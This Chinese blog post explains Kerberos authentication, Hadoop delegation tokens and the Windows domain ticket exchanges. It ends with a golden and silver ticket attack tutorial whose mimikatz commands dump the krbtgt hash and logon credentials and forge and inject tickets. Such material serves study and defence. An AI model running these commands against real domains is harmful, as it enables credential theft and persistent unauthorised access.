Kerberos认证原理

Posted 2023-04-28

参考技术A 在keberos Authentication中，Kerberos有三个主体：Client、Server和KDC。

为了便于理解，这里引入两个关键的概念：

以上就是Kinit 做的事情，以后访问各个Service就用这个加密的TGT就可以了。

真正运行访问Service的程序时，进行一下步骤：

Client向Server发送的数据包被某个恶意网络监听者截获，该监听者随后将数据包座位自己的Credential冒充该Client对Server进行访问，在这种情况下，依然可以很顺利地获得Server的成功认证。为了解决这个问题，Client在Authenticator中会加入一个当前时间的Timestamp。在Server对Authenticator中的Client Info和Session Ticket中的Client Info进行比较之前，会先提取Authenticator中的Timestamp，并同当前的时间进行比较，如果他们之间的偏差超出一个可以接受的时间范围（一般是5mins），Server会直接拒绝该Client的请求。

Kerberos一个重要的优势在于它能够提供双向认证：不但Server可以对Client 进行认证，Client也能对Server进行认证。具体过程是这样的，如果Client需要对他访问的Server进行认证，会在它向Server发送的Credential中设置一个是否需要认证的Flag。Server在对Client认证成功之后，会把Authenticator中的Timestamp提出出来，通过Session Key进行加密，当Client接收到并使用Session Key进行解密之后，如果确认Timestamp和原来的完全一致，那么他可以认定Server正式他试图访问的Server。
那么为什么Server不直接把通过Session Key进行加密的Authenticator原样发送给Client，而要把Timestamp提取出来加密发送给Client呢？原因在于防止恶意的监听者通过获取的Client发送的Authenticator冒充Server获得Client的认证。

delegation token其实就是hadoop里一种轻量级认证方法，作为kerberos认证的一种补充。理论上只使用kerberos来认证是足够了，为什么hadoop还要自己开发一套使用delegation token的认证方式呢？这是因为如果在一个很大的分布式系统当中，如果每个节点访问某个服务的时候都使用kerberos来作为认证方式，那么势必对KDC造成很大的压力，KDC就会成为一个系统的瓶颈。

kerberos认证需三方参与，client， kdc， server三方协作完成认证。
Delegation token的认证只需要两方参与，client和server。而且可以传递给其它服务使用，这也是它叫delegation token的原因。比如在client端获取到hdfs delegation token后，可以分发到各个executor，各个task就可以不通过kerberos直接使用token访问hdfs

delegation token有过期时间，一般 token每24小时刷新一次，否则就失效，且token寿命为7天，七天后该token就不能再使用。

对于spark streaming, storm等这种长时运行应用来说，不得不面临一个问题：token存在最大生命周期。当token达到其最大生命周期的时候，所有的工作节点（比如spark streaming的executor）中使用的token都会失效，此时在使用该token去访问hdfs就会被namenode拒绝，导致应用异常退出。
一种解决思路是将keytab文件分发给Am及每个container，让am和container去访问kdc来认证，但这种方式会给KDC造成很大的访问压力，导致KDC会误认为自己遭受了DDos攻击，从而影响程序性能。
另一种解决思路是先由client把keytab文件放到hdfs上。然后在Am中使用keytab登录，并申请delegation token。Am在启动worker的时候把该token分发给相应的容器。当token快要过期的时候，Am重新登录一次，并重新获取delegation token，并告知所有的worker使用更新后的token访问服务。
spark使用的就是第二种解决思路，spark 为了解决DT失效问题，加了两个参数"--keytab"和"--principal"，分别指定用于kerberos登录的keytab文件和principal，通过在AM中login然后定期更新token实现了任务七天不挂

Kerberos与票据的爱情故事

0x01.Kerberos认证原理

Kerberos是一种认证机制。目的是通过密钥系统为客户端/服务器应用程序提供强大的可信任的第三方认证服务：
保护服务器防止错误的用户使用，同时保护它的用户使用正确的服务器，即支持双向验证。kerberos最初由MIT
麻省理工开发，微软从Windows 2000开始支持Kerberos认证机制，将kerberos作为域环境下的主要身份认证
机制，理解kerberos是域渗透的基础。

0x02. kerberos认证框架

kerberos机制中主要包含三个角色：Client、Server、KDC(Key Distribution Center)密钥分发中心。
Client代表用户，用户有自己的密码，Server上运行的服务也有自己的密码，KDC是受信任的三方认证中心，
它拥有用户和服务的密码信息。

KDC服务默认会安装在域控中，Client想要访问Server的服务（xxx service），前提是通过KDC认证，再
由KDC发放的票据决定Client是否有权限访问Server的服务

铺垫小知识：

KDC(Key Distribution center)： 密钥分发中心，在域环境中，KDC服务默认会安装在域控中。
AS(Authentication Service)： 认证服务，验证client的credential(身份认证信息)，发放TGT。
TGT(Ticket Granting ticket)： 票据授权票据，由KDC的AS发放，客户端获取到该票据后，以后申请其他应用的服务票据(ST)时，就不需要向KDC的AS提交身份认证信息(credential)，TGT具有一定的有效期。由 KBRTGT HASH 加密的 sessionkey-as 和 Timestamp 等信 息
TGS(Ticket Granting Service)： 票据授权服务，验证TGT，发放ST。
ST(Service Ticket)： 服务票据，由KDC的TGS发放，是客户端应用程序访问Server某个服务的凭证，Server端验证通过则完成Client与Server端信任关系的建立。

Session key: 用来加密client和TGS之间传输的数据。
Server session key: 用来加密client和server之间传输的数据。

首先Client想要访问Server的某个服务，就需要通过KDC的认证，获取到服务票据（ST），
服务会验证服务票据（ST）来判断Client是否通过了KDC认证。为了避免Client每次
访问Server的服务都要向KDC认证(输入密码)，KDC设计时分成了两个部分，一个是AS，另一个是TGS;
AS接收Client的认证信息，认证通过后给Client发放一个可重复使用的票据TGT，后续Client使用这个TGT向TGS请求ST即可

这是一个简单的认证流程

0x03. 详细认证流程

The Authentication Service Exchange（认证服务器）：
Client 与 AS 的交互AS_REQ?AS_REP

Ticket-Granting Service (TGS) Exchange（票据授予服务器）：
Client 与 TGS 的交互 TGS_REQ?TGS_REP

The Client/Server Authentication Exchange（pc和要访问的服务）：
Client 与 Server 的交互 AP_REQ?AP_REP

第一步 Client 与 AS 的交互

用户登录阶段，通常由用户(admin)输入[用户名][密码]信息，在客户端侧，用户输入的密码信息被一个单向 Hash 函数生成 Client 密钥，即 admin 的 NTLM Hash：

Pre-authentication data: 就是用client对应的master key加密了一个timestamp。
Client info: client用户信息
Server info: 这里并不是Client真正要访问的Server的名称，实际上是KDC的Ticket Granting Service的Server Name。

AS_REQ（请求）：

KDC端收到该请求后，Authentication service用client info部分信息，在AD（account database）中查询该client name对应的master key，并对pre-authentication data数据进行解密，如果可以提取出一个合法的时间戳，那就说明该用户是合法的，验证通过，并回复KRB_AS_REP给client。

AS_REP（返回）
AS 收到用户认证请求后，AS 根据请求中的 用户名 AA 信息，从数据库中查找用户名是否存在。如果 用户名 AA 存在，则从 KDC 中可以获取 用户 AA 的密码，使用单向函数为该密码生成一个 Client 密钥（即NTLM Hash）。AS 生成随机字符串 Client/TGS Session Key，使用 Client 密钥(用户 AA 的密码 NTLM Hash)对 Client/TGS Session Key 加密得到 sessionkey_as；
再使用 TGS 密钥(krbtgt 用户的 NTLM Hash)对 Client/TGS Session Key 、 Client Info 和 Timestamp 加密,得到 TGT（TGT票据）。
将 sessionkey_as 和 TGT 一起返回给 Client。
Client 收到 AS 的响应消息后，利用自身的 Client 密钥（AA 的 NTLM Hash）对sessionkey_as 解密，这样就获取到 Client/TGS Session Key。

在 KDC 中存储了域中所有用户的密码 hash，当 AS 接受到 Client 的请求后会根据 KDC 中存储的密码来解密，解密成功并且验证信息。验证成功后返回给 Client 由 Client 密码 hash 加密的 sessionkey-as 和 TGT

总体来说，KRB_AS_REP分为两部分：
1、 用client master key对session key进行加密后的值。Session key是KDC随机生成的UUID，用于client和TGS服务之间的数据加密、认证。
2、 用KDC master key值对TGT进行加密。这部分client解不了。由此处也可以看出，TGT包括三个部分，分别是session key、client name、end time。
（当响应信息里面有KDC Hash，即可伪造黄金票据）

第二步、Client 与 TGS 的交互

当client端接收到AS_REP时，client使用client master key对KRB_AS_REP的第一部分信息进行解密，得到session key，并再次拼装出TGS_REQ请求体，向KDC的TGS发出请求

请求结构如下，TGS_REQ请求体包括：Session key(client info+时间戳)、TGT、client info、server info；

其中，server info就是该client真正要访问的server，步骤一AS_REQ中的不一样；】
TGS-REQ（请求）：
当TGS服务收到到client请求体KRB_TGS_REQ时，因为TGS端并没有session key，只能先利用TGS的master key去解TGT部分内容，得到session key，再去解Session key(client info+时间戳)部分，从而验证该用户是否是AS颁发给该client的。验证通过后，给client回复KRB_TGS_REP给client

TGS-REP（返回）：
TGS 收到请求后，检查 KDC 数据库中是否存在所请求的服务(Service ID)。如果存在，TGS 使用 TGS 密钥(krbtgt 的 NTLM Hash)解密 TGT，得到 Client/TGS Session Key、timestamp、Client info；同时使用从 TGT 中解密得到的 Client/TGS Session Key去解密 Authenticator2，得到 Client info 和 timestamp。比对 Authenticator2 和TGT 的解密内容以验证通过。
?TGS 比对 Authenticator2 包含的 Client ID 和 TGT 中的 Client ID?比较时间戳（误差范围在2分钟）?通过生命周期字段检查 TGT 是否过期?检查 Authenticator2 已经不再 TGS 的缓存中?若原始请求中的网络地址不为 NULL，比较 TGT 中的 IP 和请求的 IP
验证成功后，随机生成 Client 所请求服务的会话密钥 Client/Server Session Key；
使用 Server 密钥（即服务器计算机的NTLM Hash）对 Client/Server Session Key、Client Info（包含 Client ID）、TimeStamp 加密得到 Client-To-Server Ticket（也称为 ST 票据）；
使用 Client/TGS Session Key 对 Client/Server Session Key 加密得到sessionkey_tgs
最终将 Client-To-Server Ticket、sessionkey_tgs 返回给 Client。

第三步

Client 向 SS(Service Server)发送服务请求
AP-REQ：
Client 收到 Client-To-Server Ticket、sessionkey_tgs 之后，使用Client/TGS Session Key 对 sessionkey_tgs 解密得到 Client/Server Session Key,然后使用 Client/Server Session Key 对 Client Info 和 timestamp 加密得到Authenticator3；将 Authenticator3 和 Client-To-Server Ticket 发送给所请求服务的服务器(Service Server)。

Service Server 响应 Client

Service Server 收到客户端的服务访问请求之后，利用 Server 密钥(Server 的 ntlm Hash)对 Client-To-Server Ticket 解密，提取出 Client/Server SessionKey、Client ID 等信息。Service Server 使用 Client/Server SessionKey 对 Authenticator3 解密得到 Client ID 和 TimeStamp。

Service Server 发送最后的验证消息——用 Client/Server SessionKey 加密的 Timestamp 和 Service ID 数据包给 Client。
Client 收到之后，使用缓存的 Client/Server SessionKey 解密提取 Timestamp 信息，然后确认该信息与 Client 发送的 Authenticator3 中的 Timestamp 信息是否一致。验证通过后，在定义的通讯周期内，Client 可以使用票据请求 Service。

总结

第一步（返回TGT）：

AS 的响应消息中有一条是属于 Client 的，有一条是 TGS 的。?TGT 的到期时间为 8 小时，如果超过了 8 小时，还需要重新申请 TGT，不能之间进入下一步获取 Ticket。
?KDC 返回的 TGT 客户端是无法解密的，因为它没有 KDC Hash，如果有，我们就可以伪造黄金票据

第二步：

认证通过后TGS生成使用Logon Session Key（SKDC-Client）加密过用于Client和Server之间通信的Session Key（SServer-Client），Server的Master Key进行加密的ST(Service Ticket)

(1).经过 Logon session key加密的Client和Server之间的Session Key
(2).经过Server的Master Key进行加密的ST(Service Ticket)。

Ticket大体包含以下一些内容：
Session Key（SServer-Client）
Domain nameClient。
Ticket的到期时间。

Client 收到TGS的响应，使用 Logon session key，解密第一部分后获得 Session Key （注意区分 Logon Session Key 与 Session Key 分别是什么步骤获得的，及其的区别）。有了 Session Key 和 ST(Service Ticket)， Client 就可以直接和 Server 进行交互，而无须在通过 KDC 作中间人了。

第三步：

白银票据不与KDC交互，伪造Ticket直接与 Service server进行交互，看下第三步Client和Server认证中的请求

Server接收到客户端的数据包后，使用自己的密码Hash解密 Ticket 得出 session key，再使用 session key
解密Authenticator和timestamp即可通过验证，所以我们只需要知道 server 用户的hash可以伪造出一个 ticket，这就是白银票据

0x04. 票据传递攻击

这里介绍域内常用的两种攻击方式：黄金票据Golden ticket、白银票据SILVER TICKET

1、黄金票据Golden ticket

原理：
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,
而Logon Session Key并不会保存在KDC中，krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash（也就是KDC hash），就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,
不用验证账户和密码,所以也不担心域管密码修改。

如下图所示，与域控制器没有AS-REQ或AS-REP（步骤1和2）通信。由于黄金票据是伪造的TGT，它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。

特点：不需要与AS进行交互，需要用户krbtgt的Hash

黄金票据的条件要求：
1.域名称
2.域的SID 值
3.域的KRBTGT账户NTLM密码哈希

第一步：
先使用 mimikatz抓去krbtgt的hash
lsadump::dcsync /user:krbtgt

提取出里面的sid和NTLM hash

SID: S-1-5-21-4098506371-3349406080-1400905760
NTLM Hash: 9f7afad7acc9f72b7e338b908795b7da

kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-1720693672-3610745784-2269473857 /krbtgt:1176ad25a126d316ed5ea4b60b3d71dd /ticket:administrator.kiribi [制作票据]

kerberos::golden /admin:需要伪造的用户名 /domain:域名 /sid:sid /krbtgt:krbtgt的ntml hash /ticket:administrator.kiribi

/ticke参数是要存储的名字，方便后面导入

kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi

这时候创建成功了，会保存到桌面上

最后使用 kerberos::ptt administrator.kiribi 去加载票据
也可以使用 klist 去查看是否加载成功

没有成功是这样（因为我忘记截成功的图了）

白银票据

原理：
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部，Client带着ST和Authenticator3向Server上的某个服务进行请求，Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

特点
1.不需要与KDC进行交互 2.需要server的NTLM hash

第一步：上传mimikatz到桌面

执行命令 mimikatz64.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

当然，也可以分依次执行

银票和金票差不多，需要sid和hash

使用方法：
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择，因为我们没有TGT去不断申请ticket，所以只能针对某一些服务来进行伪造

构造好payload
kerberos::golden /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /target:DC.zkaq.cn /service:cifs /rc4:9f7afad7acc9f72b7e338b908795b7da /user:test /ptt